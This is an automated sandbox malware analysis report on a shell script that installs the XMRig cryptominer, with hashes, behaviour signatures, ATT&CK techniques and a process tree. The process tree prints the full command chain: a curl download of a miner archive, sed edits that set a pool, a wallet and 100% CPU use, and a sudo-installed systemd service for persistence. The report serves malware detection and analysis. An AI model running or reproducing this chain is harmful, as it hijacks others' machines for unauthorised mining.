Analysis

  • max time kernel
    1s
  • max time network
    1043s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240611-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    01-07-2024 11:14

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Reads EFI boot settings 3 IoCs

    Reads EFI boot settings from the efivars filesystem, may contain security secrets or sensitive data.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1387
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1390
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1391
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1394
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1395
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
            • Reads runtime system information
            PID:1436
          • /usr/bin/tar
            tar xf /tmp/xmrig.tar.gz -C /root/lampp
            2⤵
            • Reads runtime system information
            PID:1437
            • /usr/local/sbin/gzip
              gzip -d
              3⤵
                PID:1438
              • /usr/local/bin/gzip
                gzip -d
                3⤵
                  PID:1438
                • /usr/sbin/gzip
                  gzip -d
                  3⤵
                    PID:1438
                  • /usr/bin/gzip
                    gzip -d
                    3⤵
                      PID:1438
                  • /usr/bin/rm
                    rm /tmp/xmrig.tar.gz
                    2⤵
                      PID:1439
                    • /usr/bin/sed
                      sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                      2⤵
                      • Reads runtime system information
                      PID:1440
                    • /root/lampp/xmrig
                      /root/lampp/xmrig --help
                      2⤵
                      • Executes dropped EXE
                      • Checks hardware identifiers (DMI)
                      • Reads hardware information
                      • Checks CPU configuration
                      • Reads CPU attributes
                      • Enumerates kernel/hardware configuration
                      PID:1441
                    • /usr/bin/sed
                      sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                      2⤵
                        PID:1446
                      • /usr/bin/cut
                        cut -f1 -d.
                        2⤵
                          PID:1445
                        • /usr/bin/hostname
                          hostname
                          2⤵
                            PID:1444
                          • /usr/bin/sed
                            sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                            2⤵
                              PID:1447
                            • /usr/bin/sed
                              sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                              2⤵
                              • Reads runtime system information
                              PID:1448
                            • /usr/bin/sed
                              sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2004-amd64-20240611-en-1\",/" /root/lampp/config.json
                              2⤵
                                PID:1449
                              • /usr/bin/sed
                                sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                2⤵
                                  PID:1450
                                • /usr/bin/sed
                                  sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                  2⤵
                                    PID:1451
                                  • /usr/bin/sed
                                    sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                    2⤵
                                      PID:1452
                                    • /usr/bin/sed
                                      sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                      2⤵
                                      • Reads runtime system information
                                      PID:1453
                                    • /usr/bin/cp
                                      cp /root/lampp/config.json /root/lampp/config_background.json
                                      2⤵
                                        PID:1454
                                      • /usr/bin/sed
                                        sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                        2⤵
                                          PID:1455
                                        • /usr/bin/cat
                                          cat
                                          2⤵
                                            PID:1456
                                          • /usr/bin/chmod
                                            chmod +x /root/lampp/miner.sh
                                            2⤵
                                              PID:1457
                                            • /usr/bin/sudo
                                              sudo -n true
                                              2⤵
                                              • Reads runtime system information
                                              PID:1458
                                              • /usr/bin/true
                                                true
                                                3⤵
                                                  PID:1459
                                              • /usr/bin/awk
                                                awk "{print \$2}"
                                                2⤵
                                                  PID:1462
                                                • /usr/bin/grep
                                                  grep MemTotal /proc/meminfo
                                                  2⤵
                                                    PID:1461
                                                  • /usr/bin/cat
                                                    cat
                                                    2⤵
                                                      PID:1463
                                                    • /usr/bin/sudo
                                                      sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1464
                                                      • /usr/bin/mv
                                                        mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                        3⤵
                                                          PID:1465
                                                      • /usr/bin/sudo
                                                        sudo killall xmrig
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:1466
                                                        • /usr/bin/killall
                                                          killall xmrig
                                                          3⤵
                                                          • Reads runtime system information
                                                          PID:1467
                                                      • /usr/bin/sudo
                                                        sudo systemctl daemon-reload
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:1468
                                                        • /usr/bin/systemctl
                                                          systemctl daemon-reload
                                                          3⤵
                                                          • Reads EFI boot settings
                                                          • Enumerates kernel/hardware configuration
                                                          • Reads runtime system information
                                                          PID:1469
                                                      • /usr/bin/sudo
                                                        sudo systemctl enable lampp.service
                                                        2⤵
                                                          PID:1495
                                                          • /usr/bin/systemctl
                                                            systemctl enable lampp.service
                                                            3⤵
                                                            • Reads EFI boot settings
                                                            • Enumerates kernel/hardware configuration
                                                            • Reads runtime system information
                                                            PID:1508
                                                        • /usr/bin/sudo
                                                          sudo systemctl start lampp.service
                                                          2⤵
                                                            PID:1537
                                                            • /usr/bin/systemctl
                                                              systemctl start lampp.service
                                                              3⤵
                                                              • Reads EFI boot settings
                                                              • Enumerates kernel/hardware configuration
                                                              • Reads runtime system information
                                                              PID:1538

                                                        Network

                                                        MITRE ATT&CK Matrix ATT&CK v13

                                                        Defense Evasion

                                                        Virtualization/Sandbox Evasion

                                                        2
                                                        T1497

                                                        Discovery

                                                        Virtualization/Sandbox Evasion

                                                        2
                                                        T1497

                                                        System Information Discovery

                                                        3
                                                        T1082

                                                        Command and Control

                                                        Web Service

                                                        1
                                                        T1102

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • /root/lampp/config.json
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          f3294129e6b76283965ad86a815bf383

                                                          SHA1

                                                          5fe0ab538f86962efe82cb13fc2da745610740af

                                                          SHA256

                                                          578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                          SHA512

                                                          07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                        • /root/lampp/sed824CvB
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          d489ddbbb83271e967b8af615d17d3c7

                                                          SHA1

                                                          f0394a367a60e9727269882154098dec802774ef

                                                          SHA256

                                                          5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                          SHA512

                                                          aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                        • /root/lampp/sedHVt4B0
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          20a230506e3aa5ebabd5760bb6d5d7f3

                                                          SHA1

                                                          a3605219e922f0aa133f3e72ce8736b8ee612366

                                                          SHA256

                                                          9a71212a9786d823f79a6ec948e8df69745bea153f840c688886874261a95de8

                                                          SHA512

                                                          2340cc6868b46431747fe98c164a5cfa2b9300755c6bb103451d58cd01657616791ed0684a47791fcc66fbcb4f14bcfeb3ee3dc678ac1a9fee25052c944d2e07

                                                        • /root/lampp/sedLQkNg5
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          7f67a77efd2820c0d770baa36fd1dfda

                                                          SHA1

                                                          7e965fcf89844b1081d47b70534c8d11890960ea

                                                          SHA256

                                                          421b44950eb67cfdc8a4459601854cc8b58b0f7e165e674e5089c8749319ea96

                                                          SHA512

                                                          2c9f879454fd3703f7e15a6de8a281c035b69127310e9d5d45888eccfc46a8538b5499567eabed35104407c75ee423cfae4f736cfdd7ac6f629f52b616595d52

                                                        • /root/lampp/sedget18e
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          ed8e870fe22604a161c546e713fc558a

                                                          SHA1

                                                          441f6e71070e281fced12816d136d47e068796f5

                                                          SHA256

                                                          8664bcbbbea5f972e2933d3f73432c5d61354a59d9769b6656d803a3a6cb469e

                                                          SHA512

                                                          ddbe2497ccedc728d977a6e7c2d9f523063decc11882ff5d647d722a2262b42ed70b9015d25140c60833b80520cac9b1b3f9be4861f85f472b0e5a99ebcfe8c2

                                                        • /root/lampp/sediGYjLI
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          8b11b027dd187104473ee7d661ffe25f

                                                          SHA1

                                                          ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                          SHA256

                                                          984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                          SHA512

                                                          1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                        • /root/lampp/sedtSCKMK
                                                          Filesize

                                                          2KB

                                                          MD5

                                                          eeb8fbe18272eea579c0d1e992e7df3e

                                                          SHA1

                                                          b8d934a91cc10d89ad77e76b371282ef846ab15f

                                                          SHA256

                                                          17cfd70eb6efd6c2e5d6ababdb8a733843d7f76bb507d31147799dced9b2b092

                                                          SHA512

                                                          e6c3643f9da705469dfbec25dc26a91a891529b5b88c6b881841eab71fa451689ce5a2bb9a4f82cff7666e89b42717c95d810b9fb4ac9529359799ceb4b14b22

                                                        • /root/lampp/xmrig
                                                          Filesize

                                                          8.4MB

                                                          MD5

                                                          e6b2f9d13d45c128b44cb5405df9ab39

                                                          SHA1

                                                          c07326f69240e3d22d134d156528af3bd5d0497b

                                                          SHA256

                                                          96462c80ee4118a9140b159d5bbf5f3a40a8693d650919e29b23bd3c9c7e4162

                                                          SHA512

                                                          4eef70930aae075d38a871c380b2d1322c5a3cfdfdd6e936447e384bfd6c3f71b4ad7a9dc1dd2213a946f32681686f0db0b6f6e1caf1286a0a7fe36a26ac5632

                                                        • /tmp/lampp.service
                                                          Filesize

                                                          177B

                                                          MD5

                                                          540c899b78585827e807a62f7345eaf5

                                                          SHA1

                                                          8bf3146889c6b15811f226bff9fbca24d184eff2

                                                          SHA256

                                                          b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                          SHA512

                                                          0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                        • /tmp/sh-thd.4PufJk
                                                          Filesize

                                                          253B

                                                          MD5

                                                          f96a321a262287ceae164f23f232ed9c

                                                          SHA1

                                                          d1eeab41f244b42377afd7cc3de7428736162b24

                                                          SHA256

                                                          f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                          SHA512

                                                          75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                        • /tmp/xmrig.tar.gz
                                                          Filesize

                                                          3.4MB

                                                          MD5

                                                          e003a3ec8bdd61151a61cadf950502c4

                                                          SHA1

                                                          2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                          SHA256

                                                          80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                          SHA512

                                                          ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9